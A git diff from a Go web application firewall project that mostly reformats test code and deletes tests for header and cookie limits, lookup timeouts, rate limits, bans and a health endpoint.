-	{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
+	{
+		http.MethodPost,
+		"/identity/accounts/prelogin/password",
+		jsonBody,
+		vaultwardenEmail,
+	},
+	{
+		http.MethodPost,
+		vaultwardenSignUp,
+		jsonBody,
+		`{"email":"VALUE","name":"Alice"}`,
+	},
 	{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
 	{
 		http.MethodPost, vaultwardenFinishSignUp, jsonBody,
@@ -106,34 +151,84 @@ var vaultwardenAddressFields = []vaultwardenField{
 		http.MethodPost, vaultwardenPassword, jsonBody,
 		`{"authenticationData":{"salt":"VALUE"}}`,
 	},
-	{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
+	{
+		http.MethodPost,
+		vaultwardenPassword,
+		jsonBody,
+		`{"unlockData":{"salt":"VALUE"}}`,
+	},
 	{
 		http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
 		`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
 	},
-	{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
-	{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
+	{
+		http.MethodPost,
+		"/api/accounts/password-hint",
+		jsonBody,
+		vaultwardenEmail,
+	},
+	{
+		http.MethodPost,
+		"/api/accounts/email-token",
+		jsonBody,
+		`{"newEmail":"VALUE"}`,
+	},
 	{
 		http.MethodPost, "/api/emergency-access/invite", jsonBody,
 		`{"email":"VALUE","type":0}`,
 	},
-	{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
+	{
+		http.MethodPut,
+		vaultwardenOrganization,
+		jsonBody,
+		`{"billingEmail":"VALUE"}`,
+	},
 	{
 		http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
 		`{"emails":["alice@example.com","VALUE"],"type":2}`,
 	},
-	{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
-	{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
-	{http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
+	{
+		http.MethodPost,
+		vaultwardenSettings,
+		jsonBody,
+		`{"smtp_from":"VALUE"}`,
+	},
+	{
+		http.MethodPost,
+		vaultwardenSettings,
+		jsonBody,
+		`{"smtp_username":"VALUE"}`,
+	},
+	{
+		http.MethodPost,
+		vaultwardenSettings,
+		jsonBody,
+		`{"org_creation_users":"VALUE"}`,
+	},
 	{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
 	{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
-	{http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
-	{http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
+	{
+		http.MethodPost,
+		"/api/two-factor/send-email-login",
+		jsonBody,
+		vaultwardenEmail,
+	},
+	{
+		http.MethodPost,
+		"/api/two-factor/send-email",
+		jsonBody,
+		vaultwardenEmail,
+	},
 	{
 		http.MethodPut, "/api/two-factor/email", jsonBody,
 		`{"email":"VALUE","token":"123456"}`,
 	},
-	{http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
+	{
+		http.MethodPost,
+		"/api/auth-requests",
+		jsonBody,
+		`{"email":"VALUE","type":0}`,
+	},
 }
 
 // vaultwardenBreachReport is the data breach report, which sends an address
@@ -256,7 +351,12 @@ func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
 
 		got, _ := inspectBody(t, crs, r, refused.body)
 		if got.Score < vaultwardenThreshold {
-			t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
+			t.Errorf(
+				"POST %s %s let through: %+v",
+				refused.target,
+				refused.body,
+				got,
+			)
 		}
 	}
 
@@ -292,7 +392,8 @@ func TestVaultwardenAdminTokenPasses(t *testing.T) {
 func masterPasswordHashes(count int) []string {
 	const size, seed = 32, 288
 
-	random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
+	//nolint:gosec // a fixed sample
+	random := rand.New(rand.NewPCG(seed, seed))
 
 	hashes := make([]string, count)
 
@@ -340,8 +441,15 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
 			t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
 		}
 
-		if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
-			t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
+		if got, _ := inspectBody(t, crs, sent.r, body); len(
+			got.RuleIDs,
+		) != 0 {
+			t.Errorf(
+				"POST %s %v set off rules: %+v",
+				sent.r.target,
+				sent.names,
+				got,
+			)
 		}
 	}
 }
@@ -350,7 +458,9 @@ func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
 	t.Parallel()
 
 	crs := readingBodies(t)
-	encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
+	encrypted := vaultwardenUpload(
+		"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=",
+	)
 
 	for _, target := range []string{
 		vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",

internal/discriminator/answertime_test.go

@@ -1,578 +0,0 @@
-package discriminator_test
-
-import (
-	"fmt"
-	"maps"
-	"net"
-	"net/http"
-	"net/http/httptest"
-	"net/netip"
-	"slices"
-	"strconv"
-	"strings"
-	"testing"
-	"testing/synctest"
-	"time"
-
-	"sneak.berlin/go/smallwebwaf/internal/bans"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
-	"sneak.berlin/go/smallwebwaf/internal/lookup"
-	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
-	"sneak.berlin/go/smallwebwaf/internal/reputation"
-	"sneak.berlin/go/smallwebwaf/internal/requestlog"
-)
-
-const (
-	// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
-	// discriminator has to answer.
-	answerTimeLimit = 2 * time.Second
-	// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
-	defaultLookupWait = 800 * time.Millisecond
-	// The header limits SPEC.md gives.
-	cookieLimit      = 50
-	headerFieldLimit = 100
-	// cookieHeader is the header the cookie limit counts.
-	cookieHeader = "Cookie"
-	// tooLarge is how discriminator refuses a request over the header limits.
-	tooLarge = http.StatusRequestHeaderFieldsTooLarge
-	// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
-	// that silentGeoJSURL names too.
-	silentAbuseIPDBURL = "silent://abuseipdb/api/v2/check"
-	// wholeLimit is the percentage of a rate limit that lowers it not at all.
-	wholeLimit = 100
-	// clientsDecision is the CrowdSec decision list holding client alone.
-	clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
-		`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
-)
-
-// cookies returns a Cookie header's value with count cookies.
-func cookies(count int) string {
-	parts := make([]string, 0, count)
-	for i := range count {
-		parts = append(parts, "c"+strconv.Itoa(i)+"=1")
-	}
-
-	return strings.Join(parts, "; ")
-}
-
-// fillHeaders adds headers to a question until the checks see total header
-// fields: all but ClientHeader and PeerHeader, which discriminator removes. Go's
-// client sends nothing else but Host, which the limit does not count, once
-// User-Agent is set.
-func fillHeaders(req *http.Request, total int) {
-	req.Header.Set("User-Agent", "test")
-
-	for i := len(req.Header) - 2; i < total; i++ {
-		req.Header.Set("X-Filler-"+strconv.Itoa(i), "1")
-	}
-}
-
-func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(t *testing.T) {
-	t.Parallel()
-
-	s := startDiscriminator(t, "", map[string]string{wafMode: block})
-	req := s.question(siteA, client, "/")
-	req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
-
-	got := do(t, req)
-
-	wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
-
-	line := s.out.requestLine(t)
-	wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
-
-	if line.DurationCoreRuleSetMS != nil {
-		t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationCoreRuleSetMS)
-	}
-}
-
-func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
-	t.Parallel()
-
-	s := startDiscriminator(t, "", nil)
-	req := s.question(siteA, client, "/")
-	fillHeaders(req, headerFieldLimit+1)
-	do(t, req)
-
-	wantHeuristic(t, s.out.requestLine(t), "header_limits",
-		`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`)
-}
-
-func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
-	t.Parallel()
-
-	repeated := make([]string, headerFieldLimit)
-	for i := range repeated {
-		repeated[i] = "1"
-	}
-
-	for _, tc := range []struct {
-		name string
-		make func(*http.Request)
-		// refused is true for a request over a limit, and false for one at it.
-		refused bool
-	}{
-		{"cookies at the limit", func(req *http.Request) {
-			req.Header.Set(cookieHeader, cookies(cookieLimit))
-		}, false},
-		{"cookies over the limit", func(req *http.Request) {
-			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
-		}, true},
-		{"parts empty or only spaces and tabs are no cookies", func(req *http.Request) {
-			req.Header.Set(cookieHeader, cookies(cookieLimit)+"; \t;;")
-		}, false},
-		{"parts of no-break spaces count", func(req *http.Request) {
-			req.Header.Set(cookieHeader, strings.Repeat(" ;", cookieLimit+1))
-		}, true},
-		{"cookies over the limit across two headers", func(req *http.Request) {
-			req.Header[cookieHeader] = []string{cookies(cookieLimit), "last=1"}
-		}, true},
-		{"cookies without a value count", func(req *http.Request) {
-			req.Header.Set(cookieHeader, strings.Repeat("a;", cookieLimit+1))
-		}, true},
-		{"header fields at the limit", func(req *http.Request) {
-			fillHeaders(req, headerFieldLimit)
-		}, false},
-		{"header fields over the limit", func(req *http.Request) {
-			fillHeaders(req, headerFieldLimit+1)
-		}, true},
-		{"a header sent many times counts each time", func(req *http.Request) {
-			req.Header["X-Filler"] = repeated
-		}, true},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			t.Parallel()
-
-			s := startDiscriminator(t, "", map[string]string{wafMode: block})
-			req := s.question(siteA, client, "/")
-			tc.make(req)
-
-			got := do(t, req)
-			line := s.out.requestLine(t)
-
-			if tc.refused {
-				wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
-				wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
-
-				return
-			}
-
-			wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
-			wantLine(t, line, http.StatusOK, requestlog.ActionForward)
-
-			if line.DurationCoreRuleSetMS == nil {
-				t.Error("the Core Rule Set did not read a request within the limits")
-			}
-		})
-	}
-}
-
-func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
-	t.Parallel()
-
-	for _, env := range []map[string]string{
-		{wafMode: off},
-		{wafMode: "detect"},
-		{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
-	} {
-		t.Run(fmt.Sprint(env), func(t *testing.T) {
-			t.Parallel()
-
-			s := startDiscriminator(t, "", env)
-			req := s.question(siteA, client, "/")
-			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
-
-			wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
-		})
-	}
-}
-
-func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
-	t.Parallel()
-
-	s := startDiscriminator(t, "", map[string]string{wafMode: block, allowNets: client})
-	req := s.question(siteA, client, "/")
-	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
-
-	wantDisposition(t, do(t, req), http.StatusOK, discriminator.DispositionAllow)
-}
-
-func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
-	t.Parallel()
-
-	s := startDiscriminator(t, "", map[string]string{mode: observe, wafMode: block})
-	req := s.question(siteA, client, "/")
-	req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
-
-	got := do(t, req)
-
-	wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
-
-	line := s.out.requestLine(t)
-	if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
-		line.DurationCoreRuleSetMS != nil {
-		t.Errorf("would_action %q and duration_core_rule_set_ms %v, want %q and none",
-			line.WouldAction, line.DurationCoreRuleSetMS, requestlog.ActionRequestHeaderTooLarge)
-	}
-}
-
-func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
-	t.Parallel()
-
-	s := startDiscriminator(t, "", map[string]string{rateLimitPerMinute: "1"})
-	ask := func() answer {
-		req := s.question(siteA, client, "/")
-		req.Header.Set(cookieHeader, cookies(cookieLimit+1))
-
-		return do(t, req)
-	}
-
-	wantDisposition(t, ask(), tooLarge, discriminator.DispositionDeny)
-	wantDisposition(t, ask(), http.StatusForbidden, discriminator.DispositionDeny)
-
-	lines := s.out.requestLines(t, 2)
-	wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
-}
-
-func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
-	t.Parallel()
-
-	for _, tc := range []struct {
-		name, path, action string
-	}{
-		{"a trap path", "/wp-login.php", requestlog.ActionTemporarilyBanned},
-		{"a block rule", "/blocked", requestlog.ActionBlockedByBlockRule},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			t.Parallel()
-
-			s := startDiscriminator(t, "", map[string]string{
-				trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
-			})
-			req := s.question(siteA, client, tc.path)
-			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
-
-			wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
-			wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
-		})
-	}
-}
-
-func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
-	t.Parallel()
-
-	geojsURL, _ := startGeoJS(t)
-	s := startDiscriminator(t, geojsURL, map[string]string{
-		unknownLimitPercent: "0", lookupTimeout: "1h",
-	})
-	req := s.question(siteA, fromDE, "/")
-	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
-
-	wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
-
-	line := s.out.requestLine(t)
-	wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
-
-	if line.RateLimitPercent != nil {
-		t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
-	}
-
-	// The client is under no ban, and GeoJS places it in a country.
-	wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, discriminator.DispositionAllow)
-}
-
-func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
-	t.Parallel()
-
-	geojsURL, _ := startGeoJS(t)
-	s := startDiscriminator(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
-	s.server.GeoJS.Load([]lookup.Answer{{
-		Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
-		Answered: s.clock.Now(), Used: s.clock.Now(),
-	}})
-
-	req := s.question(siteA, client, "/")
-	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
-
-	wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
-	wantLine(t, s.out.requestLine(t), http.StatusForbidden,
-		requestlog.ActionClientIsRateLimited)
-}
-
-func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
-	t.Parallel()
-
-	geojsURL, _ := startGeoJS(t)
-	s := startDiscriminator(t, geojsURL, map[string]string{
-		mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
-	})
-	req := s.question(siteA, fromDE, "/")
-	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
-
-	got := do(t, req)
-	wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
-
-	asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
-	if asn != asnDE || country != "DE" {
-		t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
-			asn, country, asnDE)
-	}
-}
-
-// newDiscriminatorInBubble makes a discriminator for a synctest bubble: GeoJS never
-// answers, a setting needs its answer, and everything is at its default but
-// for env. No request to it may use the network.
-func newDiscriminatorInBubble(
-	t *testing.T, env map[string]string,
-) (*discriminator.Server, *output) {
-	t.Helper()
-
-	settings := map[string]string{tagDeny: "country=KP"}
-	maps.Copy(settings, env)
-
-	server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now, settings)
-
-	return server, out
-}
-
-// askDirectly hands a question about a request from client straight to server,
-// as change leaves it, and returns the answer's status and how long it took.
-func askDirectly(
-	t *testing.T, server *discriminator.Server, change func(*http.Request),
-) (int, time.Duration) {
-	t.Helper()
-
-	req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
-	req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
-	req.Header.Set(discriminator.ClientHeader, client)
-	req.Header.Set(requestIDHeader, "the-id")
-	change(req)
-
-	recorder := httptest.NewRecorder()
-	began := time.Now()
-
-	server.Handler.ServeHTTP(recorder, req)
-
-	return recorder.Code, time.Since(began)
-}
-
-// banClient bans client at now.
-func banClient(_ *testing.T, server *discriminator.Server, now time.Time) {
-	server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
-}
-
-// countClient counts one request from client at now for the rate limits.
-func countClient(_ *testing.T, server *discriminator.Server, now time.Time) {
-	server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
-}
-
-// listClient puts client on the blocklist at dropURL.
-func listClient(t *testing.T, server *discriminator.Server, now time.Time) {
-	t.Helper()
-
-	err := server.Lists.Load([]reputation.List{{
-		URL: dropURL, Tried: now, Fetched: now, Lines: []string{client},
-	}})
-	if err != nil {
-		t.Fatalf("load the blocklist: %v", err)
-	}
-}
-
-// decideOnClient puts client on the CrowdSec decision list.
-func decideOnClient(t *testing.T, server *discriminator.Server, now time.Time) {
-	t.Helper()
-	loadDecisions(t, server, now, clientsDecision)
-}
-
-// leaveAsItIs prepares nothing.
-func leaveAsItIs(*testing.T, *discriminator.Server, time.Time) {}
-
-func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
-	t.Parallel()
-
-	const forbidden = http.StatusForbidden
-
-	for _, tc := range []struct {
-		name string
-		env  map[string]string
-		// prepare gets the server ready, at now, before the question.
-		prepare func(t *testing.T, server *discriminator.Server, now time.Time)
-		// cookie is the request's Cookie header.
-		cookie string
-		status int
-		action string
-	}{
-		{
-			name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
-			prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
-		},
-		{
-			name:    "a ban",
-			prepare: banClient, status: forbidden, action: requestlog.ActionTemporarilyBanned,
-		},
-		{
-			name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
-			prepare: countClient, status: forbidden,
-			action: requestlog.ActionClientIsRateLimited,
-		},
-		{
-			name:    "the rate limits, with a biased threshold",
-			env:     map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
-			prepare: countClient, status: forbidden,
-			action: requestlog.ActionClientIsRateLimited,
-		},
-		{
-			name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
-			prepare: listClient, status: forbidden, action: requestlog.ActionClientDenied,
-		},
-		{
-			name:    "the CrowdSec decision list",
-			env:     map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
-			prepare: decideOnClient, status: forbidden,
-			action: requestlog.ActionTemporarilyBanned,
-		},
-		{
-			name: "the header limits", cookie: cookies(cookieLimit + 1),
-			prepare: leaveAsItIs, status: tooLarge,
-			action: requestlog.ActionRequestHeaderTooLarge,
-		},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			t.Parallel()
-
-			// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
-			// says, so that a request that does not wait takes no time at all.
-			synctest.Test(t, func(t *testing.T) {
-				server, out := newDiscriminatorInBubble(t, tc.env)
-				tc.prepare(t, server, time.Now())
-
-				status, took := askDirectly(t, server, func(req *http.Request) {
-					req.Header.Set(cookieHeader, tc.cookie)
-				})
-
-				if status != tc.status || took != 0 {
-					t.Errorf("answered %d after %s, want %d at once; output:\n%s",
-						status, took, tc.status, out.text())
-				}
-
-				wantLine(t, out.requestLine(t), tc.status, tc.action)
-
-				// GeoJS's request is abandoned before the bubble ends.
-				time.Sleep(defaultLookupWait)
-			})
-		})
-	}
-}
-
-func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
-	t.Parallel()
-
-	for _, tc := range []struct {
-		name string
-		env  map[string]string
-		// prepare gets the server ready, at now, before the question.
-		prepare func(t *testing.T, server *discriminator.Server, now time.Time)
-		status  int
-		action  string
-	}{
-		{"nothing refuses it", nil, leaveAsItIs, http.StatusOK, requestlog.ActionForward},
-		{
-			"a country list needs the answer", map[string]string{allowedCountries: "DE"},
-			leaveAsItIs, http.StatusForbidden, requestlog.ActionCountryDenied,
-		},
-		{
-			"a blocklist that only logs",
-			map[string]string{blocklistURLs: dropURL, blocklistAction: actionLog},
-			listClient, http.StatusOK, requestlog.ActionForward,
-		},
-		{
-			"a blocklist that only limits",
-			map[string]string{blocklistURLs: dropURL, blocklistAction: limitQuarter},
-			listClient, http.StatusOK, requestlog.ActionForward,
-		},
-		{
-			"over a rate limit on an exempt path",
-			map[string]string{rateLimitPerMinute: "1", rateLimitExemptPaths: "/"},
-			countClient, http.StatusOK, requestlog.ActionForward,
-		},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			t.Parallel()
-
-			synctest.Test(t, func(t *testing.T) {
-				server, out := newDiscriminatorInBubble(t, tc.env)
-				tc.prepare(t, server, time.Now())
-
-				status, took := askDirectly(t, server, func(*http.Request) {})
-
-				if status != tc.status || took != defaultLookupWait {
-					t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
-						status, took, tc.status, defaultLookupWait, out.text())
-				}
-
-				wantLine(t, out.requestLine(t), tc.status, tc.action)
-			})
-		})
-	}
-}
-
-func TestDiscriminatorAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
-	t *testing.T,
-) {
-	t.Parallel()
-
-	held, askedGeoJS, _ := startHeldGeoJS(t)
-
-	// A resolver that takes every query and answers none.
-	resolver, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
-	if err != nil {
-		t.Fatalf("listen: %v", err)
-	}
-
-	t.Cleanup(func() { _ = resolver.Close() })
-
-	server, out, _ := newDiscriminatorWith(t, func(
-		params discriminator.Params,
-	) *discriminator.Server {
-		params.AbuseIPDBURL = silentAbuseIPDBURL
-
-		return discriminator.New(params)
-	}, held, time.Now, map[string]string{
-		tagDeny: "country=KP", wafMode: block,
-		dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
-		abuseIPDBKey:  accountKey,
-		blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
-		crowdSecURL: held, crowdSecKey: bouncerKey,
-	})
-
-	// AbuseIPDB is asked only about a client with an offence.
-	group := netip.MustParsePrefix(client + "/32")
-	server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
-
-	go server.Lists.Run(t.Context())
-
-	status, took := askDirectly(t, server, func(req *http.Request) {
-		req.Header.Set("User-Agent", "test")
-		req.Header.Set("Accept", "*/*")
-		req.Host = siteA
-	})
-
-	if status != http.StatusOK || took >= answerTimeLimit {
-		t.Errorf("answered %d after %s, want %d within %s; output:\n%s",
-			status, took, http.StatusOK, answerTimeLimit, out.text())
-	}
-
-	// Each outside source was asked, and none has answered. The stand-in for
-	// GeoJS is the lists' too, which name no address.
-	if !slices.Contains(askedGeoJS(), client) {
-		t.Errorf("GeoJS was asked about %q, not %s", askedGeoJS(), client)
-	}
-
-	if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
-		t.Errorf("%d queries to the DNS blocklist, want 1", queries)
-	}
-
-	if checked := server.AbuseIPDB.Checked(); checked != 1 {
-		t.Errorf("%d checks with AbuseIPDB, want 1", checked)
-	}
-}

internal/discriminator/health_test.go

@@ -1,41 +0,0 @@
-package discriminator_test
-
-import (
-	"net/http"
-	"testing"
-
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
-	"sneak.berlin/go/smallwebwaf/internal/requestlog"
-)
-
-func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
-	t.Parallel()
-
-	// With a limit of one request a minute, any request counted before
-	// the last one would have it refused.
-	s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
-
-	const (
-		healthChecks = 3
-		contentType  = "text/plain; charset=utf-8"
-	)
-
-	for range healthChecks {
-		got := s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "",
-			http.StatusOK)
-
-		if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
-			t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
-				"with %q", got.body, got.header.Get("Content-Type"), contentType)
-		}
-	}
-
-	s.get(client, http.StatusOK, requestlog.ActionForward)
-
-	for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] {
-		if line.ResponseContentType != contentType {
-			t.Errorf("health check's log line has response_content_type %q, "+
-				"want %q", line.ResponseContentType, contentType)
-		}
-	}
-}

internal/lookup/file.go

@@ -26,7 +26,7 @@ type FileParams struct {
 	// Path is the lookup database, the IPinfo Lite file in its .mmdb form
 	// (SWW_LOOKUP_DB_PATH).
 	Path string
-	// Now tells the time, normally time.Now.
+	// Now tells the time, normally time.Now in UTC.
 	Now func() time.Time
 	// ProcessLog receives each reading of the file, and why a replacement
 	// of it cannot be read.
@@ -236,7 +236,11 @@ func read(path string) (*maxminddb.Reader, error) {
 
 	reader, err := maxminddb.OpenBytes(data)
 	if err != nil {
-		return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
+		return nil, fmt.Errorf(
+			"SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
+			path,
+			err,
+		)
 	}
 
 	return reader, nil

internal/lookup/file_internal_test.go

@@ -26,11 +26,21 @@ const (
 	testClient   = "203.0.113.9/32"
 )
 
-func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
+func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
+	t *testing.T,
+) {
 	t.Parallel()
 
-	germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
-	northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
+	germany := lookuptest.Network{
+		ASN:     "AS64496",
+		ASName:  "Example Net",
+		Country: "DE",
+	}
+	northKorea := lookuptest.Network{
+		ASN:     "AS64511",
+		ASName:  "Other Net",
+		Country: "KP",
+	}
 	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
 	lookuptest.Write(t, path, map[string]lookuptest.Network{
 		testNetblock:    germany,
@@ -62,7 +72,13 @@ func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T)
 			Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
 			Answered: now,
 		}) {
-			t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
+			t.Errorf(
+				"%s has the answer %+v, want %+v, answered %s",
+				client,
+				got,
+				want,
+				now,
+			)
 		}
 	}
 }
@@ -122,7 +138,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
 // reading due by then is done. The test sends the changes itself, as the
 // watch of a directory cannot run in a bubble.
 
-func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
+func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -137,7 +155,8 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
 		other := filepath.Join(dir, "replacement.mmdb")
 		writeDatabase(t, other, "KP")
 
-		replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
+		//nolint:gosec // a file the test wrote
+		replacement, err := os.ReadFile(other)
 		if err != nil {
 			t.Fatalf("read %s: %v", other, err)
 		}
@@ -176,15 +195,20 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
 		wantCountry(t, f, "KP")
 
 		if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
-			t.Errorf("read at %s, with %d failures; want read now, with none",
-				f.LastRead(), f.ReadFailures())
+			t.Errorf(
+				"read at %s, with %d failures; want read now, with none",
+				f.LastRead(),
+				f.ReadFailures(),
+			)
 		}
 
 		wantAlerts(t, queue)
 	})
 }
 
-func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
+func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -206,8 +230,12 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
 		wantCountry(t, f, "DE")
 
 		if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
-			t.Errorf("read at %s, with %d failures; want read at %s, with one",
-				f.LastRead(), f.ReadFailures(), read)
+			t.Errorf(
+				"read at %s, with %d failures; want read at %s, with one",
+				f.LastRead(),
+				f.ReadFailures(),
+				read,
+			)
 		}
 
